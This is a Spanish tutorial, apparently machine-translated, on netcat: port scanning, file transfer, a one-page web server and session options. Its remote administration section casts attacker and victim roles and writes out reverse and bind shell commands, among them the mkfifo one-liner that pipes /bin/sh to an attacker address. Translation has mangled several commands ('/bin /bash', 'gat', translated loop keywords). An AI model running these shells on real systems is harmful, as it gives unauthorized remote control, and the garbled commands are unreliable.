NETCAT - Uso profesional Swiss Army Knife Pro

NETCAT - Uso profesional Swiss Army Knife Pro
NetCat es una utilidad que se utiliza para leer y escribir datos en los puertos TCP y UDP. Se puede utilizar para muchas cosas geniales como transferencia de archivos, escaneo de puertos, redireccionamiento de puertos, backdooring de la PC de otra persona, hacer un programa de chat simple, para la solución de problemas de red y más, por eso se conoce como una navaja suiza del ejército. También viene preinstalado con casi todas las distribuciones de Linux hoy en día y es utilizado principalmente por administradores de redes, DevOps e ingenieros de seguridad para sus pequeñas tareas diarias.

Una breve diferencia entre NetCat-Tradicional y NetCat-Openbsd

Hay dos paquetes similares disponibles para NetCat con una ligera diferencia entre ellos.

netcat-tradicional Incluye una opción adicional '-e' que se puede utilizar para vincular un programa (i.e bash) con netcat. Esta característica es muy útil para fines de administración remota.

netcat-openbsd tener algún soporte adicional para IPv6 y proxies.

Instalación de NetCat

Aunque NetCat viene preinstalado en la mayoría de las distribuciones de Linux, pero si no es así, se puede instalar fácilmente utilizando los siguientes comandos.

Para el paquete tradicional,

ubuntu@ubuntu: ~ $ sudo apt-get install netcat-tradicional

Para la versión de OpenBSD,

ubuntu@ubuntu: ~ $ sudo apt-get install netcat-openbsd

NetCat para Windows se puede descargar desde aquí https: // SourceForge.net/proyectos/NC110/archivos/.

Ahora exploraremos algunos casos de uso interesantes de Netcat

Escaneo de puertos usando NetCAT

Para escanear en busca de puertos abiertos, use la opción '-Z'. NetCat intentará conectarse a cada puerto sin enviar ningún dato o datos muy limitados en el caso UDP. Escriba lo siguiente

ubuntu@ubuntu: ~ $ nc -z -v hackme.org 80
... Snip ..
hackéame.org [217.78.1.155] 80 (http) abierto

Para escanear para una gama de puertos, escriba

ubuntu@ubuntu: ~ $ nc -z -nv 192.168.100.72 20-80
(Desconocido) [192.168.100.72] 80 (http) abierto
(Desconocido) [192.168.100.72] 22 (SSH) Abierto

Transferencia de archivos con NetCat

Otro caso de uso útil de NetCat es la transferencia de archivos entre computadoras remotas. Puede enviar mensajes de texto y archivos binarios de una PC a otra PC. Intentaremos enviar un archivo "archivo.PDF ”desde la PC Linux a Windows PC [IP 192.168.100.72] Uso de NetCat como ejemplo.

En Windows Machine (receptor), escriba lo siguiente

C: \ users> nc -nvlp 1337> archivo.pdf
Escuchando en [0.0.0.0] (Familia 2, puerto 1337)

En la máquina Linux (remitente), escriba lo siguiente

ubuntu@ubuntu: ~ $ nc -nv 192.168.100.72 1337 < file.pdf
Conexión a 192.168.100.72 1337 Puerto [TCP/*] tuvo éxito!

Administración remota con NetCat

Uno de los mejores casos de uso de NetCat es la administración remota, lo que significa que puede controlar la PC de otra persona usando NetCat. NetCat-Traditional viene con la opción '-e' que se puede usar para unir un programa (i.E CMD.EXE en Windows o Bash en Linux) con un puerto, eso significa que NetCat actuará como comunicador entre el programa y la PC remota. NetCat recibirá comandos de PC remota, ejecutará en el sistema local y enviará los resultados de nuevo a la PC remota. Esta característica se usa ampliamente para fines maliciosos, para mantener traseros en PC y servidores. Esta característica solo está disponible en NetCat-Tradicional, pero con un pequeño truco, NetCat-OpenBSD también se puede usar para el mismo propósito. Puede usar dos formas de controlar la PC de los demás.

en un Caparazón Conexión, un atacante escucha en un puerto y espera que se envíe una conexión desde la máquina de la víctima. Se usa cuando la computadora víctima está detrás de NAT o no tiene IP pública.

Para obtener un shell inverso usando NetCat, debe escuchar en un puerto usando NetCat. Escriba lo siguiente en la máquina del atacante,

ubuntu@ubuntu: ~ $ nc -nvlp 1337
Escuchando en [0.0.0.0] (Familia 2, puerto 1337)

En la máquina de víctimas (si netcat-tradicional esta instalado)

// reemplazar "/bin/bash" con "CMD.exe ”en el caso de Windows

ubuntu@ubuntu: ~ $ nc -nv [ip_addr] 1337 -e /bin /bash

Para netcat-openbsd (donde la opción "-e" no es compatible)

ubuntu@ubuntu: ~ $ rm /tmp /f; mkfifo /tmp /f; gat
/tmp/f |/bin/sh -i 2> & 1 | nc [ip_addr] 1337>/tmp/f

Mientras que en un Atar Conexión, el atacante une un puerto en la máquina víctima y se conecta a ese puerto utilizando el Socket Client. Se usa cuando la máquina del atacante está detrás de NAT o no tiene una IP pública.

En la máquina de víctimas, escriba

ubuntu@ubuntu: ~ $ nc -nlvp 1337 -e /bin /bash
Escuchando en [cualquier] 1337 ..

Ahora, para ejecutar comandos en la máquina víctima, escriba

ubuntu@ubuntu: ~ $ nc -nv 127.0.0.1 1337
Conexión a 127.0.0.1 1337 puerto [tcp/*] tuvo éxito!
$ ID
uid = 1000 (Azad) GID = 1000 (Azad) Grupos = 1000 (Azad), 4 (ADM), 24 (CDROM), 27 (sudo),
30 (DIP), 46 (Plugdev), 118 (Lpadmin), 129 (Sambashare)

Servidor web simple usando netcat

También puede hacer otro truco simple para usar NetCat como servidor web de una sola página mínima. Este servidor web sería muy simple sin configuraciones especiales, y lo usaremos envíe nuestro código HTML al navegador.

ubuntu@ubuntu: ~ $ mientras es verdadero; hacer echo -e "http/1.1 200 OK \ n \ n $ (echo "


Mi servidor web simple usando netcat

")" | NC -NVLP 1337; hecho
Escuchando en [0.0.0.0] (Familia 2, puerto 1337)

Ahora, intente obtener la página web con curl

ubuntu@ubuntu: ~ $ curl http: // 127.0.0.1: 1337/

Mi servidor web simple usando netcat

Especifique el tiempo de espera para una sesión de NetCat

Puede especificar el tiempo de espera para una sesión de NetCat utilizando la opción "-W". NetCat desconectará automáticamente su sesión después de que se desmaye el tiempo especificado.

// -W [Tiempo en segundos]
ubuntu@ubuntu: ~ $ nc -w 40 -nvlp 1337
Escuchando en [0.0.0.0] (Familia 2, puerto 1234)

Continúe escuchando incluso si el cliente cierra la conexión

En modo normal, el servidor NetCat se apaga y deja de escuchar en el puerto cuando un cliente cierra la conexión. Puede mantener el servidor arriba usando la opción "-k"

ubuntu@ubuntu: ~ $ nc -k -nlvp 1234
Escuchando en [0.0.0.0] (Familia 2, puerto 1234)

Conclusión

NetCat es una utilidad simple pero eficiente que se puede utilizar para muchas tareas diarias simples. Viene preinstalado en casi todos los sistemas operativos de UNIX y se puede utilizar para varias tareas como la comunicación entre dos PC, la transferencia de archivos y muchas más.